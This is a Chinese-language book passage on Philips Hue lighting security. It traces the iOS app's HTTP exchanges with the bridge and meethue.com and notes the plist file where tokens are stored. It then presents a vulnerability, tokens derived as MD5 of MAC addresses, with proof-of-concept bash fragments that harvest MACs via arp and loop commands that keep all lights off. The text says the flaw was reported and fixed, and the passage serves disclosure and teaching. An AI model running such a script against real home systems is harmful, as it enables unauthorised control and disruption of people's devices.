物联网设备安全1.3 使用iOS App控制灯光

    xiaoxiao2023-12-30  152

    1.3 使用iOS App控制灯光

    用户也可使用装有照明系统App的iPhone或iPad远程或本地控制灯光。

    当照明系统的App首次运行时,它会测试一下,看看它是否有权发送命令给本地网络的照明系统网桥:

    GET /api/[username DELETED] HTTP/1.1

    Host: 10.0.1.2

    Proxy-Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Accept: */*

    Accept-Language: en-us

    Connection: keep-alive

    Pragma: no-cache

    User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0

    username令牌被照明系统App选中。网桥的响应信息如下:

    HTTP/1.1 200 OK

    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

    Pragma: no-cache

    Expires: Mon, 1 Aug 2011 09:00:00 GMT

    Connection: close

    Access-Control-Max-Age: 0

    Access-Control-Allow-Origin: *

    Access-Control-Allow-Credentials: true

    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE

    Access-Control-Allow-Headers: Content-Type

    Content-type: application/json

     

    [{"error":{"type":1,"address":"/","description":"unauthorized user"}}]

    由于这是iOS设备首次尝试连接网桥,设备还没有被授权。在这种情况下,用户需要按下网桥的按钮以证明其对设备拥有所有权。这时,iOS App会提示用户如何做,如图1-9所示。

     

    图1-9:iOS App提示用户按下网桥的物理按钮

    除此之外,iOS App还会向网桥发送POST请求,如下所示:

    POST /api HTTP/1.1

    Host: 10.0.1.2

    Proxy-Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded

    Accept-Language: en-us

    Accept: */*

    Pragma: no-cache

    Connection: keep-alive

    User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0

    Content-Length: 71

     

    {"username":"[username DELETED]","devicetype":"iPhone 5"}

    需要注意的是,这里username字段的值要与此前发送请求的username字段的值保持一致,但是对于某个特定设备首次运行该iOS App的情况,username字段的值是无效的。如果用户在30秒内按下网桥上的按钮,那么该username字段就会被授权,就可以用来向位于本地网络中的网桥发送指令了。

    当用户按下网桥上的按键之后,网桥会向iOS App发送如下所示的响应信息:

    HTTP/1.1 200 OK

    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

    Pragma: no-cache

    Expires: Mon, 1 Aug 2011 09:00:00 GMT

    Connection: close

    Access-Control-Max-Age: 0

    Access-Control-Allow-Origin: *

    Access-Control-Allow-Credentials: true

    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE

    Access-Control-Allow-Headers: Content-Type

    Content-type: application/json

     

    [{"success":{"username":"[username DELETED]"}}]

    网桥主动发送的响应信息将username字段值回馈给iOS App。至此,iOS App授权就成功了,只要它记住username字段的值,就可以向网桥发号施令了。

    用户可以使用iOS App关闭所有灯光,如图1-10所示。

    当用户从iOS App上选择关闭所有灯光时(假定用户也位于本地网络,如在家中),iOS App会向网桥直接发送如下所示请求:

    PUT /api/[username DELETED]/groups/0/action HTTP/1.1

    Host: 10.0.1.2

    Proxy-Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Accept: */*

    Accept-Language: en-us

    Pragma: no-cache

    Connection: keep-alive

    User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0

    Content-Length: 12

     

    {"on":false}

    网桥的响应信息如下:

    HTTP/1.1 200 OK

    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

    Pragma: no-cache

    Expires: Mon, 1 Aug 2011 09:00:00 GMT

    Connection: close

    Access-Control-Max-Age: 0

    Access-Control-Allow-Origin: *

    Access-Control-Allow-Credentials: true

    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE

    Access-Control-Allow-Headers: Content-Type

    Content-type: application/json

     

    [{"success":{"/groups/0/action/on":false}}]

     

    图1-10:用户按下iOS App上的“ALL OFF”(全部关闭)按钮

    success属性中的false值表示命令执行成功,所有灯泡都关闭了(/groups/0/action/on表示否定的状态,也就是说,如果为false,表示开灯)。

    如果设备与用户不在同一个网段内(比如用户是远程操作的),那么iOS App就需要利用门户设施远程向网桥发送指令。这时,iOS设备会提示用户无法直接连接到网桥,如图1-11所示。

     

    图1-11:照明系统App通知用户无法连接到网桥

    如果用户点击图1-11对话框中的“More”(更多)按钮,App就会提供一个“Setup away from home”(远程设置)选项,如图1-12所示。

     

    图1-12:点击“More”之后的更多选项

    用户选择“Setup away from home”(远程设置)选项之后,App会启动Safari浏览器并要求用户输入认证信息,如图1-13所示。这时,用户需要输入早先设置完成的认证(1.2节描述了如何设置认证)。

    一旦用户认证成功,就会被要求给予App授权(如图1-14所示)。

     

    图1-13:iOS App授权认证的登录页面

    一旦用户选择了Yes,浏览器就会向www.meethue.com网站发送GET请求,如下所示:

    GET /en-US/api/getaccesstokenpost HTTP/1.1

    Host: www.meethue.com

    Referer: https://www.meethue.com/en-US/api/getaccesstokengivepermission

    Proxy-Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Cookie: [DELETED]

    Accept-Language: en-us

    Connection: keep-alive

    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X)

    AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25

     

    图1-14:给App授权

    网站服务器给出的响应信息如下:

    HTTP/1.1 200 OK

    Content-Type: text/html; charset=utf-8; charset=utf-8

    Cache-Control: no-cache

    Expires: Thu, 01 Jan 1970 00:00:00 GMT

    Set-Cookie: [DELETED]

    Vary: Accept-Encoding

    Date: Mon, 08 Jul 2013 05:24:14 GMT

    Server: Google Frontend

    Content-Length: 1653

    <!DOCTYPE html>

    <html>

      <head>

        <meta content="0;phhueapp://sdk/login/8/[TOKEN DELETED]=" http-equiv="refresh" />

     

    [Rest of HTML deleted for brevity]

    服务器的响应信息将Web浏览器重定向到phhueapp://sdk/login/8/ [TOKEN DELETED],这会导致iOS App重启。之后iOS App会获得并保存TOKEN值,然后iOS App就能够连接到www.meethue.com网站上并远程向网桥发送命令了。

    phhueapp称为URL模式(URL scheme)。对于那些已经注册了用于处理这些URL模式的App,URL模式能够让Safari浏览器和其他应用程序启动它们。例如,在iOS的Safari浏览器中输入maps://,就可以启动原生地图App。在我们的例子中,照明系统App注册了phhueapp模式,所以当Safari浏览器重定向到以phhueapp:字符串开头的URL地址时,它就会启动照明系统App。

    现在,当用户位于远程网段内(比如与网桥不在同一个无线网内),则其发出的命令需要通过互联网发送给www.meethue.com。这种情况下,当用户按下关闭全部(ALL OFF)(如图1-10所示)时,iOS App就会发送带有之前获取到的授权TOKEN值的请求信息,如下所示:

    POST /api/sendmessage?token=[DELETED} HTTP/1.1

    Host: www.meethue.com

    Proxy-Connection: keep-alive

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded

    Accept-Language: en-us

    Accept: */*

    Connection: keep-alive

    User-Agent: hue/1.0.2 CFNetwork/609.1.4 Darwin/13.0.0

    Content-Length: 127

    clipmessage={ bridgeId: "[DELETED}", clipCommand: { url:

    "/api/0/groups/0/action", method: "PUT", body:

    {"on":false} } }

    网桥响应如下:

    HTTP/1.1 200 OK

    Content-Type: application/json; charset=utf-8

    Cache-Control: no-cache

    Expires: Thu, 01 Jan 1970 00:00:00 GMT

    Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT

    Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT

    Set-Cookie: PLAY_SESSION=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT

    Date: Mon, 06 May 2013 19:51:58 GMT

    Server: Google Frontend

    Content-Length: 41

     

    {"code":200,"message":"ok","result":"ok"}

    www.meethue.com响应信息中的ok表示命令已经成功执行,所有的灯泡都关闭了。

    1.3.1从移动设备中偷取令牌

    iOS App将username令牌和www.meethue.com网站令牌分别命名为uniqueGlobalDeviceIdentifier和sdkPortalToken,保存到iPhone和iPad的Library/Preferences/com.philips.lighting.hue.plist文件中。临时访问照明用户的移动设备,可以获取这些文件并能够远程控制用户照明灯泡。由于攻击者需要获取访问移动设备的权限,因此这种风险的可能性较低。

    1.3.2恶意软件可导致持续停电

    在分析用例的过程中,我们学习了如何使用iOS App注册网桥username令牌。这个秘密令牌可被用在局域网内与网桥直连的所有设备上,并可发送授权指令控制灯泡。

    我们发现,iOS App采用的username令牌并不是随机生成的,而是通过对iPhone或iPad的MAC地址进行MD5加密之后生成的哈希值。每一个网卡(不管有线的还是无线的)都可以手工设置一个独立的MAC地址。不管是有线网卡还是无线网卡,其在本地局域网内的MAC地址都可以通过执行arp指令来获得,大多数操作系统都支持该命令。

    $ arp -a -n

    ? (172.20.0.1) at d4:ae:52:9d:1f:49 on en0 ifscope [ethernet]

    ? (172.20.0.23) at 7c:7a:91:33:be:a4 on en0 ifscope [ethernet]

    ? (172.20.0.52) at d8:a2:5e:4b:9a:50 on en0 ifscope [ethernet]

    ? (172.20.0.75) at 54:e4:3a:a6:4b:0e on en0 ifscope [ethernet]

    ? (172.20.0.90) at c8:f6:50:08:5f:e7 on en0 ifscope [ethernet]

    ? (172.20.0.154) at 74:e1:b6:9f:12:66 on en0 ifscope [ethernet]

    通过arp命令,我们可以知道特定设备的MAC地址。比如,IP地址为172.20.0.90的设备的MAC地址为c8:f6:50:08:5f:e7。

    常用的MD5算法我们称为单向哈希。使用md5程序,我们可以计算出c8:f6:50:08:5f:e7的哈希值:

    $ md5 -s "c8:f6:50:08:5f:e7"

    MD5 ("c8:f6:50:08:5f:e7") = 4ad1c59ad3f1c4fcdd67a55ee8f80160

    这里,我们计算出c8:f6:50:08:5f:e7的哈希值为4ad1c59ad3f1c4fcdd67a55ee8f80160。由于MD5算法的单向性,很难将哈希值逆向工程得到MAC地址。但是考虑这种情况,如果某台设备感染了病毒程序(也就是恶意软件),被种植了木马。那么,该恶意软件就可以很轻松地执行arp命令,并快速计算出表中每一个MAC地址的哈希值。这时,恶意软件只需要接入到本地网络的照明设备网桥,使用username的哈希值就可以关闭灯泡,最终导致停电事件。也就是说,本地网络中任意一台设备上如果被植入了恶意软件,那么该软件就可以直接连入网桥,并持续发送关闭灯泡的指令,造成持续停电。

    假定我们有一个使用bash shell编写的可应用在大多数Unix和Linux系统上的概念证明(proof-of-concept,POC)恶意程序。首先,这个恶意的脚本程序需要定位网桥的IP地址:

    while [ -z "$bridge_ip" ];

    do

    bridge_ip=($(curl --connect-timeout 5 -s https://www.meethue.com/api/nupnp

    |awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/);

    ip = substr($0,RSTART,RLENGTH); print ip}'))

     

    # If no bridge is found, try again in 10 minutes

    if [ -z "$bridge_ip" ];

    then

    sleep 600

    fi

    done

    该脚本使用浏览器访问https://www.meethue.com/api/nupnp页面(见图1-4)以获取网桥的IP地址。如果获取失败,脚本程序会休眠10分钟然后继续尝试,直到获取到一个位于本地网络上的网桥的IP地址。

    接下来,脚本程序开始执行一个无穷循环:

    while true; do

    在这个无穷循环内,脚本程序首先使用arp命令获取MAC地址:

    mac_addresses=( $(arp -a | awk '{print toupper($4)}')

    然后,对每个获取到的MAC地址进行填充,比如MAC地址1:2:3:4:5:6最终会补充为01:02:03:04:05:06:

    padded_m=`echo $m |

    sed "s/^\(.\):/0\1:/" |

    sed "s/:\(.\):/:0\1:/g" |

    sed "s/:\(.\):/:0\1:/g" |

    sed "s/:\(.\)$/:0\1/"`

    之后,脚本程序使用循环语句计算每一个MAC地址的MD5哈希值:

    bridge_username=( $(md5 -q -s $padded_m))

    接下来,脚本使用curl指令连接网桥,使用计算出来的username发送关灯指令:

    turn_it_off=($(curl --connect-timeout 5 -s -X PUT http://$bridge_ip/api/

    $bridge_username/groups/0/action -d {\"on\":false} | grep success))

    如果命令执行成功,脚本会进入另一个无穷循环中,不断向网桥发送关灯指令:

    if [ -n "$turn_it_off" ]; then

       echo "SUCCESS! It's blackout time!";

     

       while true;

       do

           turn_it_off=($(curl --connect-timeout 5

           -s -X PUT http://$bridge_ip/api/$bridge_username

             /groups/0/action -d {\"on\":false} | grep success))

          done

    例1-1包含了完整的脚本代码程序。

    例1-1:hue_blackout.bash

     

     

     

     

     

    照明系统的另一个设计缺陷是它无法注销whitelist令牌。换句话说,如果某个设备如iPhone获得了访问网桥的授权,那么用户就不能取消该授权。因为这是使用MAC地址执行的授权,因此被授权设备会一直拥有访问网桥的权限。

    访问Hacking Lightbulbs(http://bit.ly/hacking_lightbulbs)可观看hue_blackout.bash脚本的视频演示。

    需要提醒的是,上述问题已反馈给飞利浦公司,问题已经得到修复,软件和固件更新也已经发布了。

    最新回复(0)